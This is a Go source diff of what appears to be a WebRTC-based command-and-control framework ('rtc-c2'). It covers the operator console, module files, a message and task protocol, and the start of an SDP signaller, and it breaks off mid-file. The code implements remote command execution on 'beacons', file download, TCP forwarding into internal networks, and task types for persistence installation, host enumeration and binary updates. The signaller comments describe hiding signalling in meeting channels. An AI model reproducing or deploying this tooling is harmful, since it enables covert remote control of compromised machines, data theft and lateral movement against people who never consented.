func (op *Operator) startForward(localAddr, remoteAddr string) {
|
||||||
|
// Ensure local addr has a port
|
||||||
|
if !strings.Contains(localAddr, ":") {
|
||||||
|
fmt.Printf("bad local addr: %s (need host:port)\n", localAddr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if !strings.Contains(remoteAddr, ":") {
|
||||||
|
fmt.Printf("bad remote addr: %s (need host:port)\n", remoteAddr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prepend 127.0.0.1 if no explicit host
|
||||||
|
if strings.HasPrefix(localAddr, ":") {
|
||||||
|
localAddr = "127.0.0.1" + localAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
fl, err := op.tunnelBr.StartForwardListener(localAddr, remoteAddr)
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("forward error: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
op.mu.Lock()
|
||||||
|
op.forwards[localAddr] = fl
|
||||||
|
op.mu.Unlock()
|
||||||
|
|
||||||
|
fmt.Printf("[+] Forward: %s -> %s (via active beacon)\n", localAddr, remoteAddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) listForwards() {
|
||||||
|
op.mu.RLock()
|
||||||
|
defer op.mu.RUnlock()
|
||||||
|
|
||||||
|
if len(op.forwards) == 0 {
|
||||||
|
fmt.Println("No active forwards")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Println("Active forwards:")
|
||||||
|
for local, fl := range op.forwards {
|
||||||
|
fmt.Printf(" %s -> %s (via beacon)\n", local, fl.TargetAddr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) stopForward(localAddr string) {
|
||||||
|
op.mu.Lock()
|
||||||
|
fl, ok := op.forwards[localAddr]
|
||||||
|
delete(op.forwards, localAddr)
|
||||||
|
op.mu.Unlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
fmt.Printf("no forward on %s\n", localAddr)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fl.Stop()
|
||||||
|
fmt.Printf("[-] Forward stopped: %s\n", localAddr)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) useBeacon(beaconID string, reader *bufio.Reader) {
|
||||||
|
op.mu.RLock()
|
||||||
|
session, ok := op.beacons[beaconID]
|
||||||
|
op.mu.RUnlock()
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
// Try prefix match
|
||||||
|
for id, s := range op.beacons {
|
||||||
|
if len(id) >= len(beaconID) && id[:len(beaconID)] == beaconID {
|
||||||
|
session = s
|
||||||
|
beaconID = id
|
||||||
|
ok = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if !ok {
|
||||||
|
fmt.Printf("beacon '%s' not found\n", beaconID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
op.activeBeacon = beaconID
|
||||||
|
fmt.Printf("[+] Using beacon %s (%s@%s)\n", beaconID[:12], session.Username, session.Hostname)
|
||||||
|
fmt.Println(" Commands: exec <cmd>, info, download <path>, whoami, back")
|
||||||
|
fmt.Print(" > ")
|
||||||
|
|
||||||
|
for {
|
||||||
|
line, err := reader.ReadString('\n')
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" {
|
||||||
|
fmt.Print(" > ")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
if line == "back" || line == "exit" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
parts := strings.SplitN(line, " ", 2)
|
||||||
|
subCmd := strings.ToLower(parts[0])
|
||||||
|
|
||||||
|
switch subCmd {
|
||||||
|
case "exec", "run":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("usage: exec <command>")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
cmdName := strings.TrimSpace(parts[1])
|
||||||
|
go func() {
|
||||||
|
task, err := protocol.NewTask(protocol.TaskExec, &protocol.ExecArgs{
|
||||||
|
Command: cmdName,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("create task error: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := op.sendTask(beaconID, task); err != nil {
|
||||||
|
fmt.Printf("send task error: %v\n", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
fmt.Printf("[*] Task %s sent to %s\n", task.ID[:8], beaconID[:12])
|
||||||
|
}()
|
||||||
|
|
||||||
|
case "info":
|
||||||
|
task, _ := protocol.NewTask(protocol.TaskInfo, nil)
|
||||||
|
_ = op.sendTask(beaconID, task)
|
||||||
|
fmt.Printf("[*] Info request sent\n")
|
||||||
|
|
||||||
|
case "whoami":
|
||||||
|
task, _ := protocol.NewTask(protocol.TaskWhoami, nil)
|
||||||
|
_ = op.sendTask(beaconID, task)
|
||||||
|
fmt.Printf("[*] Whoami request sent\n")
|
||||||
|
|
||||||
|
case "download":
|
||||||
|
if len(parts) < 2 {
|
||||||
|
fmt.Println("usage: download <path>")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
path := strings.TrimSpace(parts[1])
|
||||||
|
task, err := protocol.NewTask(protocol.TaskDownload, &protocol.DownloadArgs{
|
||||||
|
RemotePath: path,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
fmt.Printf("error: %v\n", err)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
_ = op.sendTask(beaconID, task)
|
||||||
|
fmt.Printf("[*] Download request for %s sent\n", path)
|
||||||
|
|
||||||
|
default:
|
||||||
|
fmt.Println("commands: exec <cmd>, info, whoami, download <path>, back")
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Print(" > ")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) listBeacons() {
|
||||||
|
op.mu.RLock()
|
||||||
|
defer op.mu.RUnlock()
|
||||||
|
|
||||||
|
if len(op.beacons) == 0 {
|
||||||
|
fmt.Println("No beacons connected. Waiting...")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
fmt.Printf("Connected beacons (%d):\n", len(op.beacons))
|
||||||
|
fmt.Println(strings.Repeat("-", 60))
|
||||||
|
fmt.Printf("%-24s %-16s %-8s %-8s\n", "Beacon ID", "User@Host", "OS", "Arch")
|
||||||
|
fmt.Println(strings.Repeat("-", 60))
|
||||||
|
|
||||||
|
for _, s := range op.beacons {
|
||||||
|
id := s.ID
|
||||||
|
if len(id) > 12 {
|
||||||
|
id = id[:12] + "..."
|
||||||
|
}
|
||||||
|
userHost := fmt.Sprintf("%s@%s", s.Username, s.Hostname)
|
||||||
|
fmt.Printf("%-24s %-16s %-8s %-8s\n", id, userHost, s.OS, s.Arch)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func printHelp() {
|
||||||
|
fmt.Print(`
|
||||||
|
Commands:
|
||||||
|
beacons List connected beacons
|
||||||
|
use <id> Interactive beacon session
|
||||||
|
forward <local> <remote> Direct TCP forward (SSH -L style)
|
||||||
|
Example: forward 127.0.0.1:4444 10.0.1.100:80
|
||||||
|
forwards List active forwards
|
||||||
|
stop-forward <local> Stop a forward listener
|
||||||
|
help Show this help
|
||||||
|
exit Shut down
|
||||||
|
|
||||||
|
Beacon session commands:
|
||||||
|
exec <cmd> Run command on beacon
|
||||||
|
info Get system info
|
||||||
|
whoami Get user identity
|
||||||
|
download <path> Download file from beacon
|
||||||
|
back Return to main menu
|
||||||
|
|
||||||
|
Example: forward 127.0.0.1:4444 internal.service:80
|
||||||
|
curl http://127.0.0.1:4444/path
|
||||||
|
`)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (op *Operator) consoleCleanup() {
|
||||||
|
fmt.Print("\nShutting down...\n")
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
module github.com/ek0ms/rtc-c2
|
||||||
|
|
||||||
|
go 1.26.2
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/gorilla/websocket v1.5.3
|
||||||
|
github.com/pion/webrtc/v4 v4.2.12
|
||||||
|
)
|
||||||
|
|
||||||
|
require (
|
||||||
|
github.com/google/uuid v1.6.0 // indirect
|
||||||
|
github.com/pion/datachannel v1.6.0 // indirect
|
||||||
|
github.com/pion/dtls/v3 v3.1.2 // indirect
|
||||||
|
github.com/pion/ice/v4 v4.2.5 // indirect
|
||||||
|
github.com/pion/interceptor v0.1.44 // indirect
|
||||||
|
github.com/pion/logging v0.2.4 // indirect
|
||||||
|
github.com/pion/mdns/v2 v2.1.0 // indirect
|
||||||
|
github.com/pion/randutil v0.1.0 // indirect
|
||||||
|
github.com/pion/rtcp v1.2.16 // indirect
|
||||||
|
github.com/pion/rtp v1.10.1 // indirect
|
||||||
|
github.com/pion/sctp v1.9.5 // indirect
|
||||||
|
github.com/pion/sdp/v3 v3.0.18 // indirect
|
||||||
|
github.com/pion/srtp/v3 v3.0.10 // indirect
|
||||||
|
github.com/pion/stun/v3 v3.1.2 // indirect
|
||||||
|
github.com/pion/transport/v4 v4.0.1 // indirect
|
||||||
|
github.com/pion/turn/v5 v5.0.3 // indirect
|
||||||
|
github.com/wlynxg/anet v0.0.5 // indirect
|
||||||
|
golang.org/x/crypto v0.48.0 // indirect
|
||||||
|
golang.org/x/net v0.50.0 // indirect
|
||||||
|
golang.org/x/sys v0.41.0 // indirect
|
||||||
|
golang.org/x/time v0.14.0 // indirect
|
||||||
|
)
|
||||||
@@ -0,0 +1,58 @@
|
|||||||
|
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
|
||||||
|
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
|
||||||
|
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
|
||||||
|
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
|
||||||
|
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||||
|
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||||
|
github.com/pion/datachannel v1.6.0 h1:XecBlj+cvsxhAMZWFfFcPyUaDZtd7IJvrXqlXD/53i0=
|
||||||
|
github.com/pion/datachannel v1.6.0/go.mod h1:ur+wzYF8mWdC+Mkis5Thosk+u/VOL287apDNEbFpsIk=
|
||||||
|
github.com/pion/dtls/v3 v3.1.2 h1:gqEdOUXLtCGW+afsBLO0LtDD8GnuBBjEy6HRtyofZTc=
|
||||||
|
github.com/pion/dtls/v3 v3.1.2/go.mod h1:Hw/igcX4pdY69z1Hgv5x7wJFrUkdgHwAn/Q/uo7YHRo=
|
||||||
|
github.com/pion/ice/v4 v4.2.5 h1:5umUQy4hX6HwMsCnJ0SX337YYCeTWDgC9JWyvUqHIHs=
|
||||||
|
github.com/pion/ice/v4 v4.2.5/go.mod h1:aaABRaykEYnNjccjbiimuYxViaASeuv5mk9BpplUxK0=
|
||||||
|
github.com/pion/interceptor v0.1.44 h1:sNlZwM8dWXU9JQAkJh8xrarC0Etn8Oolcniukmuy0/I=
|
||||||
|
github.com/pion/interceptor v0.1.44/go.mod h1:4atVlBkcgXuUP+ykQF0qOCGU2j7pQzX2ofvPRFsY5RY=
|
||||||
|
github.com/pion/logging v0.2.4 h1:tTew+7cmQ+Mc1pTBLKH2puKsOvhm32dROumOZ655zB8=
|
||||||
|
github.com/pion/logging v0.2.4/go.mod h1:DffhXTKYdNZU+KtJ5pyQDjvOAh/GsNSyv1lbkFbe3so=
|
||||||
|
github.com/pion/mdns/v2 v2.1.0 h1:3IJ9+Xio6tWYjhN6WwuY142P/1jA0D5ERaIqawg/fOY=
|
||||||
|
github.com/pion/mdns/v2 v2.1.0/go.mod h1:pcez23GdynwcfRU1977qKU0mDxSeucttSHbCSfFOd9A=
|
||||||
|
github.com/pion/randutil v0.1.0 h1:CFG1UdESneORglEsnimhUjf33Rwjubwj6xfiOXBa3mA=
|
||||||
|
github.com/pion/randutil v0.1.0/go.mod h1:XcJrSMMbbMRhASFVOlj/5hQial/Y8oH/HVo7TBZq+j8=
|
||||||
|
github.com/pion/rtcp v1.2.16 h1:fk1B1dNW4hsI78XUCljZJlC4kZOPk67mNRuQ0fcEkSo=
|
||||||
|
github.com/pion/rtcp v1.2.16/go.mod h1:/as7VKfYbs5NIb4h6muQ35kQF/J0ZVNz2Z3xKoCBYOo=
|
||||||
|
github.com/pion/rtp v1.10.1 h1:xP1prZcCTUuhO2c83XtxyOHJteISg6o8iPsE2acaMtA=
|
||||||
|
github.com/pion/rtp v1.10.1/go.mod h1:rF5nS1GqbR7H/TCpKwylzeq6yDM+MM6k+On5EgeThEM=
|
||||||
|
github.com/pion/sctp v1.9.5 h1:QoSFB/drmAsmSeSFNQNI3xx010nW4HsycCZckRVWWag=
|
||||||
|
github.com/pion/sctp v1.9.5/go.mod h1:N20Dq6LY+JvJDAh9VVh1JELngb2rQ8dPgds5yBWiPgw=
|
||||||
|
github.com/pion/sdp/v3 v3.0.18 h1:l0bAXazKHpepazVdp+tPYnrsy9dfh7ZbT8DxesH5ZnI=
|
||||||
|
github.com/pion/sdp/v3 v3.0.18/go.mod h1:ZREGo6A9ZygQ9XkqAj5xYCQtQpif0i6Pa81HOiAdqQ8=
|
||||||
|
github.com/pion/srtp/v3 v3.0.10 h1:tFirkpBb3XccP5VEXLi50GqXhv5SKPxqrdlhDCJlZrQ=
|
||||||
|
github.com/pion/srtp/v3 v3.0.10/go.mod h1:3mOTIB0cq9qlbn59V4ozvv9ClW/BSEbRp4cY0VtaR7M=
|
||||||
|
github.com/pion/stun/v3 v3.1.2 h1:86IhD8wFn6IDW4b1/0QzoQS+f5PeA8OHHRn8UZW5ErY=
|
||||||
|
github.com/pion/stun/v3 v3.1.2/go.mod h1:H7gDic7nNwlUL05pbs6T1dtaBehh/KjupxfWw3ZI7cA=
|
||||||
|
github.com/pion/transport/v3 v3.1.1 h1:Tr684+fnnKlhPceU+ICdrw6KKkTms+5qHMgw6bIkYOM=
|
||||||
|
github.com/pion/transport/v3 v3.1.1/go.mod h1:+c2eewC5WJQHiAA46fkMMzoYZSuGzA/7E2FPrOYHctQ=
|
||||||
|
github.com/pion/transport/v4 v4.0.1 h1:sdROELU6BZ63Ab7FrOLn13M6YdJLY20wldXW2Cu2k8o=
|
||||||
|
github.com/pion/transport/v4 v4.0.1/go.mod h1:nEuEA4AD5lPdcIegQDpVLgNoDGreqM/YqmEx3ovP4jM=
|
||||||
|
github.com/pion/turn/v4 v4.1.4 h1:EU11yMXKIsK43FhcUnjLlrhE4nboHZq+TXBIi3QpcxQ=
|
||||||
|
github.com/pion/turn/v4 v4.1.4/go.mod h1:ES1DXVFKnOhuDkqn9hn5VJlSWmZPaRJLyBXoOeO/BmQ=
|
||||||
|
github.com/pion/turn/v5 v5.0.3 h1:I+Nw0fQgdPWF1SXDj0egWDhCkcff7gWiigdQpOK52Ak=
|
||||||
|
github.com/pion/turn/v5 v5.0.3/go.mod h1:fs4SogUh/aRGQzonc4Lx3Jp4EU3j3t0PfNDEd9KcD/w=
|
||||||
|
github.com/pion/webrtc/v4 v4.2.12 h1:ux8i+aJxu0OdhcAcVO39JEeodWugD0wdVJoRDtXk1CY=
|
||||||
|
github.com/pion/webrtc/v4 v4.2.12/go.mod h1:M/DeGZkhdWZVmVgGr34HOD9yUDekVJtz9c9PGO18urQ=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
|
||||||
|
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
|
||||||
|
github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U=
|
||||||
|
github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U=
|
||||||
|
github.com/wlynxg/anet v0.0.5 h1:J3VJGi1gvo0JwZ/P1/Yc/8p63SoW98B5dHkYDmpgvvU=
|
||||||
|
github.com/wlynxg/anet v0.0.5/go.mod h1:eay5PRQr7fIVAMbTbchTnO9gG65Hg/uYGdc7mguHxoA=
|
||||||
|
golang.org/x/crypto v0.48.0 h1:/VRzVqiRSggnhY7gNRxPauEQ5Drw9haKdM0jqfcCFts=
|
||||||
|
golang.org/x/crypto v0.48.0/go.mod h1:r0kV5h3qnFPlQnBSrULhlsRfryS2pmewsg+XfMgkVos=
|
||||||
|
golang.org/x/net v0.50.0 h1:ucWh9eiCGyDR3vtzso0WMQinm2Dnt8cFMuQa9K33J60=
|
||||||
|
golang.org/x/net v0.50.0/go.mod h1:UgoSli3F/pBgdJBHCTc+tp3gmrU4XswgGRgtnwWTfyM=
|
||||||
|
golang.org/x/sys v0.41.0 h1:Ivj+2Cp/ylzLiEU89QhWblYnOE9zerudt9Ftecq2C6k=
|
||||||
|
golang.org/x/sys v0.41.0/go.mod h1:OgkHotnGiDImocRcuBABYBEXf8A9a87e/uXjp9XT3ks=
|
||||||
|
golang.org/x/time v0.14.0 h1:MRx4UaLrDotUKUdCIqzPC48t1Y9hANFKIRpNx+Te8PI=
|
||||||
|
golang.org/x/time v0.14.0/go.mod h1:eL/Oa2bBBK0TkX57Fyni+NgnyQQN4LitPmob2Hjnqw4=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||||
|
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||||
@@ -0,0 +1,119 @@
|
|||||||
|
// Package protocol defines the C2 message format, task types, and crypto layer
|
||||||
|
// that runs over the WebRTC data channel transport.
|
||||||
|
package protocol
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"encoding/hex"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// MessageType indicates the kind of C2 message.
|
||||||
|
type MessageType string
|
||||||
|
|
||||||
|
const (
|
||||||
|
MsgHeartbeat MessageType = "heartbeat"
|
||||||
|
MsgTask MessageType = "task"
|
||||||
|
MsgTaskResult MessageType = "task_result"
|
||||||
|
MsgTunnelOpen MessageType = "tunnel_open"
|
||||||
|
MsgTunnelData MessageType = "tunnel_data"
|
||||||
|
MsgTunnelClose MessageType = "tunnel_close"
|
||||||
|
MsgRegister MessageType = "register"
|
||||||
|
MsgError MessageType = "error"
|
||||||
|
MsgShutdown MessageType = "shutdown"
|
||||||
|
MsgPing MessageType = "ping"
|
||||||
|
MsgPong MessageType = "pong"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Envelope is the outer wrapper for all C2 messages.
|
||||||
|
type Envelope struct {
|
||||||
|
Type MessageType `json:"type"`
|
||||||
|
ID string `json:"id"`
|
||||||
|
Timestamp int64 `json:"ts"`
|
||||||
|
SenderID string `json:"sender"`
|
||||||
|
Payload json.RawMessage `json:"payload,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewEnvelope creates a new message envelope with a random ID.
|
||||||
|
func NewEnvelope(msgType MessageType, senderID string, payload interface{}) (*Envelope, error) {
|
||||||
|
id := generateID()
|
||||||
|
|
||||||
|
var raw json.RawMessage
|
||||||
|
if payload != nil {
|
||||||
|
data, err := json.Marshal(payload)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("protocol: marshal payload: %w", err)
|
||||||
|
}
|
||||||
|
raw = data
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Envelope{
|
||||||
|
Type: msgType,
|
||||||
|
ID: id,
|
||||||
|
Timestamp: time.Now().UnixMilli(),
|
||||||
|
SenderID: senderID,
|
||||||
|
Payload: raw,
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Serialize returns the JSON-encoded envelope.
|
||||||
|
func (e *Envelope) Serialize() ([]byte, error) {
|
||||||
|
return json.Marshal(e)
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseEnvelope decodes a JSON-encoded envelope.
|
||||||
|
func ParseEnvelope(data []byte) (*Envelope, error) {
|
||||||
|
var env Envelope
|
||||||
|
if err := json.Unmarshal(data, &env); err != nil {
|
||||||
|
return nil, fmt.Errorf("protocol: parse envelope: %w", err)
|
||||||
|
}
|
||||||
|
return &env, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractPayload deserializes the payload into the given type.
|
||||||
|
func (e *Envelope) ExtractPayload(v interface{}) error {
|
||||||
|
if len(e.Payload) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return json.Unmarshal(e.Payload, v)
|
||||||
|
}
|
||||||
|
|
||||||
|
// HeartbeatPayload is sent by the beacon to indicate it's alive.
|
||||||
|
type HeartbeatPayload struct {
|
||||||
|
BeaconID string `json:"beacon_id"`
|
||||||
|
Hostname string `json:"hostname"`
|
||||||
|
Username string `json:"username"`
|
||||||
|
OS string `json:"os"`
|
||||||
|
Arch string `json:"arch"`
|
||||||
|
PID int `json:"pid"`
|
||||||
|
Uptime int64 `json:"uptime"`
|
||||||
|
PrevTaskID string `json:"prev_task_id,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// RegisterPayload is sent when a beacon first connects.
|
||||||
|
type RegisterPayload struct {
|
||||||
|
BeaconID string `json:"beacon_id"`
|
||||||
|
Hostname string `json:"hostname"`
|
||||||
|
Username string `json:"username"`
|
||||||
|
OS string `json:"os"`
|
||||||
|
Arch string `json:"arch"`
|
||||||
|
PID int `json:"pid"`
|
||||||
|
Elevated bool `json:"elevated"`
|
||||||
|
PublicIP string `json:"public_ip,omitempty"`
|
||||||
|
Capabilities []string `json:"capabilities"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ErrorPayload carries error information.
|
||||||
|
type ErrorPayload struct {
|
||||||
|
Code int `json:"code"`
|
||||||
|
Message string `json:"message"`
|
||||||
|
TaskID string `json:"task_id,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func generateID() string {
|
||||||
|
b := make([]byte, 12)
|
||||||
|
rand.Read(b)
|
||||||
|
return hex.EncodeToString(b)
|
||||||
|
}
|
||||||
@@ -0,0 +1,128 @@
|
|||||||
|
package protocol
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TaskType identifies the command to execute on the beacon.
|
||||||
|
type TaskType string
|
||||||
|
|
||||||
|
const (
|
||||||
|
// Execution
|
||||||
|
TaskExec TaskType = "exec" // Execute a shell command
|
||||||
|
TaskExecPty TaskType = "exec_pty" // Execute in a PTY
|
||||||
|
TaskUpload TaskType = "upload" // Upload a file to beacon
|
||||||
|
TaskDownload TaskType = "download" // Download a file from beacon
|
||||||
|
TaskLs TaskType = "ls" // List directory
|
||||||
|
TaskPs TaskType = "ps" // List processes
|
||||||
|
|
||||||
|
// Persistence
|
||||||
|
TaskInstall TaskType = "install" // Install persistence mechanism
|
||||||
|
|
||||||
|
// Networking
|
||||||
|
TaskTunnelConnect TaskType = "tunnel_connect" // Connect TCP through tunnel
|
||||||
|
TaskPortFwd TaskType = "port_fwd" // Port forwarding (reverse)
|
||||||
|
TaskWhoami TaskType = "whoami" // Get identity
|
||||||
|
|
||||||
|
// Information
|
||||||
|
TaskInfo TaskType = "info" // Get system info
|
||||||
|
TaskNetstat TaskType = "netstat" // Network connections
|
||||||
|
TaskEnv TaskType = "env" // Environment variables
|
||||||
|
TaskEnumHost TaskType = "enum_host" // Host enumeration
|
||||||
|
|
||||||
|
// Beacon control
|
||||||
|
TaskSleep TaskType = "sleep" // Set beacon sleep interval
|
||||||
|
TaskExit TaskType = "exit" // Terminate beacon
|
||||||
|
TaskUpdate TaskType = "update" // Update beacon binary
|
||||||
|
|
||||||
|
) // end TaskType constants
|
||||||
|
|
||||||
|
// Task represents a single C2 task sent to a beacon.
|
||||||
|
type Task struct {
|
||||||
|
ID string `json:"id"`
|
||||||
|
Type TaskType `json:"type"`
|
||||||
|
Args json.RawMessage `json:"args,omitempty"`
|
||||||
|
Timeout int `json:"timeout,omitempty"` // seconds
|
||||||
|
CreatedAt int64 `json:"created_at"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewTask creates a new task with the given type and arguments.
|
||||||
|
func NewTask(taskType TaskType, args interface{}) (*Task, error) {
|
||||||
|
var raw json.RawMessage
|
||||||
|
if args != nil {
|
||||||
|
data, err := json.Marshal(args)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("task: marshal args: %w", err)
|
||||||
|
}
|
||||||
|
raw = data
|
||||||
|
}
|
||||||
|
|
||||||
|
return &Task{
|
||||||
|
ID: generateID(),
|
||||||
|
Type: taskType,
|
||||||
|
Args: raw,
|
||||||
|
Timeout: 30,
|
||||||
|
CreatedAt: time.Now().UnixMilli(),
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// TaskResult is the response from a beacon after executing a task.
|
||||||
|
type TaskResult struct {
|
||||||
|
TaskID string `json:"task_id"`
|
||||||
|
Success bool `json:"success"`
|
||||||
|
Output string `json:"output,omitempty"`
|
||||||
|
Error string `json:"error,omitempty"`
|
||||||
|
ExitCode int `json:"exit_code,omitempty"`
|
||||||
|
Duration int64 `json:"duration_ms"`
|
||||||
|
Timestamp int64 `json:"ts"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ExtractArgs deserializes the task arguments into the given type.
|
||||||
|
func (t *Task) ExtractArgs(v interface{}) error {
|
||||||
|
if len(t.Args) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return json.Unmarshal(t.Args, v)
|
||||||
|
}
|
||||||
|
|
||||||
|
// --- Typed argument payloads ---
|
||||||
|
|
||||||
|
// ExecArgs carries shell command arguments.
|
||||||
|
type ExecArgs struct {
|
||||||
|
Command string `json:"command"`
|
||||||
|
Args []string `json:"args,omitempty"`
|
||||||
|
Shell string `json:"shell,omitempty"` // e.g., /bin/bash, powershell.exe
|
||||||
|
}
|
||||||
|
|
||||||
|
// UploadArgs carries file upload arguments.
|
||||||
|
type UploadArgs struct {
|
||||||
|
RemotePath string `json:"remote_path"`
|
||||||
|
Data string `json:"data"` // base64-encoded
|
||||||
|
Mode int `json:"mode,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// DownloadArgs carries file download arguments.
|
||||||
|
type DownloadArgs struct {
|
||||||
|
RemotePath string `json:"remote_path"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// SleepArgs sets the beacon's check-in interval.
|
||||||
|
type SleepArgs struct {
|
||||||
|
Interval int `json:"interval"` // seconds
|
||||||
|
Jitter int `json:"jitter,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// LsArgs lists a directory.
|
||||||
|
type LsArgs struct {
|
||||||
|
Path string `json:"path"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// PortFwdArgs sets up port forwarding.
|
||||||
|
type PortFwdArgs struct {
|
||||||
|
LocalPort int `json:"local_port"`
|
||||||
|
RemoteHost string `json:"remote_host"`
|
||||||
|
RemotePort int `json:"remote_port"`
|
||||||
|
Protocol string `json:"protocol,omitempty"` // tcp, udp
|
||||||
|
}
|
||||||
@@ -0,0 +1,307 @@
|
|||||||
|
// Package signaller handles SDP exchange between the operator and beacon.
|
||||||
|
// During development, this uses a simple HTTP rendezvous server.
|
||||||
|
// In Ghost Calls mode, this would be replaced with meeting-channel signalling.
|
||||||
|
package signaller
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Signaller is the interface for exchanging SDP descriptions.
|
||||||
|
type Signaller interface {
|
||||||
|
// SendLocalDescription transmits this peer's SDP to the remote.
|
||||||
|
SendLocalDescription(sdp webrtc.SessionDescription) error
|
||||||
|
|
||||||
|
// ReceiveRemoteDescription blocks until a remote SDP is received.
|
||||||
|
ReceiveRemoteDescription() (*webrtc.SessionDescription, error)
|
||||||
|
}
|
||||||
|
|
||||||
|
// HTTPSignaller exchanges SDP through a rendezvous HTTP server.
|
||||||
|
// Simple, works for LAN and same-network development.
|
||||||
|
type HTTPSignaller struct {
|
||||||
|
client *http.Client
|
||||||
|
baseURL string
|
||||||
|
sessionKey string
|
||||||
|
role string
|
||||||
|
}
|
||||||
|
|
||||||
|
// NewHTTPSignaller creates a new HTTP signaller.
|
||||||
|
func NewHTTPSignaller(baseURL, sessionKey, role string) *HTTPSignaller {
|
||||||
|
return &HTTPSignaller{
|
||||||
|
client: &http.Client{
|
||||||
|
Timeout: 30 * time.Second,
|
||||||
|
},
|
||||||
|
baseURL: baseURL,
|
||||||
|
sessionKey: sessionKey,
|
||||||
